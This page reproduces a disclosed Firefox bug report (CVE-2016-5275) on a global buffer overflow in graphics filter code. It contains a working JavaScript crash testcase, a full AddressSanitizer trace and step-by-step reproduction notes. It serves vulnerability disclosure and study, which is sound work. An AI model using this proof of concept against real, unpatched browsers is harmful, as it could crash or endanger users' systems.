Skip to content
Memory corruption Disclosed report Advanced CVE-2016-5275

global-buffer-overflow in mozilla::gfx::FilterSupport::ComputeSourceNeededRegions

A crafted web page caused a global buffer overflow in Firefox's graphics filter code when a canvas fillRect was drawn with an SVG filter applied. The crash was detected by AddressSanitizer in a debug build, showing a write past the bounds of a global variable.

Nils Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 59 days
  • Paid in 36 days
  • Disclosed after 59 days

The following testcase crashes the latest ASAN build of Firefox (BuildID=20160711143746) as follows:

<script> function start() { o0=document; o13=(new DOMParser()).parseFromString('','text/html'); o14=o13.all[0]; o80=document.createElement('canvas'); o14.innerHTML='<svg style><filter><feConvolveMatrix>'; o133=o14.querySelectorAll('*')[2]; o134=o14.querySelectorAll('*')[3]; o254=o80.getContext('2d',{willReadFrequently: true,}); o134.id='id14'; try{while(document.removeChild(document.firstChild));}catch(e){} o298=document.implementation.createHTMLDocument(); o298.body.appendChild(o133); document.appendChild(o298.documentElement); o254.filter=' url(#id14) url(#id14) '; o0.write('<html><body></body></html>'); o254.fillRect(545259505,-1,8200,14942208); } </script> <body onload="start()"></body>

ASAN output:

================================================================= ==18075==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f229cbe8f90 at pc 0x00000049df78 bp 0x7ffdcea2c650 sp 0x7ffdcea2be10 WRITE of size 16 at 0x7f229cbe8f90 thread T0 (Web Content) #0 0x49df77 in __asan_memcpy /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393:3 #1 0x7f2297a0f642 in _moz_pixman_region32_copy /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/cairo/libpixman/src/pixman-region.c:523:25 #2 0x7f22909da2b4 in Copy /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/src/nsRegion.h:414:5 #3 0x7f22909da2b4 in operator= /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/src/nsRegion.h:77 #4 0x7f22909da2b4 in operator= /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/src/nsRegion.h:487 #5 0x7f22909da2b4 in operator= /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/src/nsRegion.h:842 #6 0x7f22909da2b4 in mozilla::gfx::FilterSupport::ComputeSourceNeededRegions(mozilla::gfx::FilterDescription const&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits&, mozilla::gfx::IntRegionTypedmozilla::gfx::UnknownUnits&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/src/FilterSupport.cpp:1774 #7 0x7f22935402f5 in mozilla::dom::AdjustedTargetForFilter::AdjustedTargetForFilter(mozilla::dom::CanvasRenderingContext2D*, mozilla::gfx::DrawTarget*, mozilla::gfx::IntPointTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits const&, mozilla::gfx::CompositionOp) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/canvas/CanvasRenderingContext2D.cpp:353:5 #8 0x7f22934a3c76 in MakeUnique<mozilla::dom::AdjustedTargetForFilter, mozilla::dom::CanvasRenderingContext2D &, RefPtrmozilla::gfx::DrawTarget &, mozilla::gfx::IntPointTypedmozilla::gfx::UnknownUnits &, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits &, mozilla::gfx::IntRectTypedmozilla::gfx::UnknownUnits, mozilla::gfx::CompositionOp &> /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/gfx/gl/../../mfbt/UniquePtr.h:680:27 #9 0x7f22934a3c76 in mozilla::dom::AdjustedTarget::AdjustedTarget(mozilla::dom::CanvasRenderingContext2D, mozilla::gfx::RectTyped<mozilla::gfx::UnknownUnits, float> const*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/canvas/CanvasRenderingContext2D.cpp:613 #10 0x7f22934a266a in mozilla::dom::CanvasRenderingContext2D::FillRect(double, double, double, double) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/canvas/CanvasRenderingContext2D.cpp:2814:3 #11 0x7f22925ec2fd in mozilla::dom::CanvasRenderingContext2DBinding::fillRect(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CanvasRenderingContext2D*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dom/bindings/CanvasRenderingContext2DBinding.cpp:3185:3 #12 0x7f22933d3c07 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/bindings/BindingUtils.cpp:2784:13 #13 0x7f22992b36db in CallJSNative /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/jscntxtinlines.h:232:15 #14 0x7f22992b36db in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:441 #15 0x7f229929a662 in CallFromStack /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:504:12 #16 0x7f229929a662 in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:2873 #17 0x7f229928103b in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:399:12 #18 0x7f22992b3d80 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:471:15 #19 0x7f22992b43f1 in js::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, js::AnyInvokeArgs const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/vm/Interpreter.cpp:517:10 #20 0x7f2298df8898 in JS::Call(JSContext*, JS::HandleJS::Value, JS::HandleJS::Value, JS::HandleValueArray const&, JS::MutableHandleJS::Value) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/js/src/jsapi.cpp:2839:12 #21 0x7f2292ee8540 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::HandleJS::Value, mozilla::dom::Event&, JS::MutableHandleJS::Value, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:259:37 #22 0x7f229381e97b in Call<nsISupports > /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:361:12 #23 0x7f229381e97b in mozilla::JSEventHandler::HandleEvent(nsIDOMEvent) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/events/JSEventHandler.cpp:214 #24 0x7f22937ebb6f in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, nsIDOMEvent*, mozilla::dom::EventTarget*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/events/EventListenerManager.cpp:1116:16 #25 0x7f22937ed6ed in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/events/EventListenerManager.cpp:1288:17 #26 0x7f22937c910c in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArraymozilla::EventTargetChainItem&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/events/EventDispatcher.cpp:379:5 #27 0x7f22937cd470 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArraymozilla::dom::EventTarget*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/events/EventDispatcher.cpp:710:9 #28 0x7f22958ebd65 in nsDocumentViewer::LoadComplete(nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/layout/base/nsDocumentViewer.cpp:996:7 #29 0x7f229664ccd1 in nsDocShell::EndPageLoad(nsIWebProgress, nsIChannel*, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/docshell/base/nsDocShell.cpp:7577:5 #30 0x7f2296648d01 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/docshell/base/nsDocShell.cpp:7378:7 #31 0x7f229664ff7f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/docshell/base/nsDocShell.cpp:7275:13 #32 0x7f22906a3ba1 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/uriloader/base/nsDocLoader.cpp:1252:3 #33 0x7f22906a2c54 in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/uriloader/base/nsDocLoader.cpp:836:5 #34 0x7f229069fadc in nsDocLoader::DocLoaderIsEmpty(bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/uriloader/base/nsDocLoader.cpp:726:9 #35 0x7f22906a1bb4 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/uriloader/base/nsDocLoader.cpp:608:5 #36 0x7f22906a26ac in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/uriloader/base/nsDocLoader.cpp:464:14 #37 0x7f228ea7f79b in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/netwerk/base/nsLoadGroup.cpp:633:18 #38 0x7f229159136f in nsDocument::DoUnblockOnload() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsDocument.cpp:9256:7 #39 0x7f22915d5e8f in nsUnblockOnloadEvent::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/dom/base/nsDocument.cpp:9209:5 #40 0x7f228e8ac996 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/threads/nsThread.cpp:1073:7 #41 0x7f228e92ad3c in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsThreadUtils.cpp:290:10 #42 0x7f228f671a1f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/glue/MessagePump.cpp:100:21 #43 0x7f228f5e62e8 in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:235:3 #44 0x7f228f5e62e8 in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #45 0x7f228f5e62e8 in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #46 0x7f229503987f in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/widget/nsBaseAppShell.cpp:156:3 #47 0x7f22970bf8a7 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:837:12 #48 0x7f228f5e62e8 in RunInternal /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:235:3 #49 0x7f228f5e62e8 in RunHandler /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:228 #50 0x7f228f5e62e8 in MessageLoop::Run() /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/chromium/src/base/message_loop.cc:208 #51 0x7f22970bef43 in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:667:7 #52 0x4e2c05 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:224:19 #53 0x7f228b95782f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #54 0x41e7b8 in _start (/home/nils/fuzzer3/firefox/plugin-container+0x41e7b8)

0x7f229cbe8f90 is located 16 bytes to the left of global variable 'nsTArrayHeader::sEmptyHdr' defined in '/builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsTArray.cpp:13:32' (0x7f229cbe8fa0) of size 8 0x7f229cbe8f90 is located 40 bytes to the right of global variable 'sStderrCallback' defined in '/builds/slave/m-cen-l64-asan-ntly-0000000000/build/src/xpcom/glue/nsCRTGlue.cpp:316:23' (0x7f229cbe8f60) of size 8 SUMMARY: AddressSanitizer: global-buffer-overflow /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393:3 in __asan_memcpy Shadow bytes around the buggy address: 0x0fe4d39751a0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9 0x0fe4d39751b0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fe4d39751c0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fe4d39751d0: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fe4d39751e0: f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 =>0x0fe4d39751f0: f9 f9[f9]f9 00 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 0x0fe4d3975200: 00 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 0x0fe4d3975210: 00 00 00 00 00 00 00 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fe4d3975220: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9 0x0fe4d3975230: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 0x0fe4d3975240: f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==18075==ABORTING

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the filter region computation in FilterSupport::ComputeSourceNeededRegions produced an invalid region that was copied with a size exceeding the destination buffer.

Impact

The overflow crashed the content process in the ASAN build; the report does not demonstrate code execution, and it is unclear whether a release build would be exploitable.

What the attacker needed

Victim loads a crafted web page; JavaScript enabled

How it was found

  1. Create an HTML document via DOMParser and insert an SVG containing a filter with feConvolveMatrix.
  2. Select the filter element and give it an id.
  3. Create a second HTML document, move the filter element into it, and attach it to the live document.
  4. Create a canvas 2D context and set its filter property to reference that id twice.
  5. Call fillRect with very large coordinates to trigger the filter region computation.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A buffer overflow is when a program writes data past the end of a memory area it was given, corrupting nearby memory. Here a web page combined a canvas drawing with an SVG filter, and Firefox's graphics code wrote 16 bytes outside a global variable, which the memory checker caught and aborted on. The report only shows a crash in a special instrumented build, not a proven way to run attacker code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.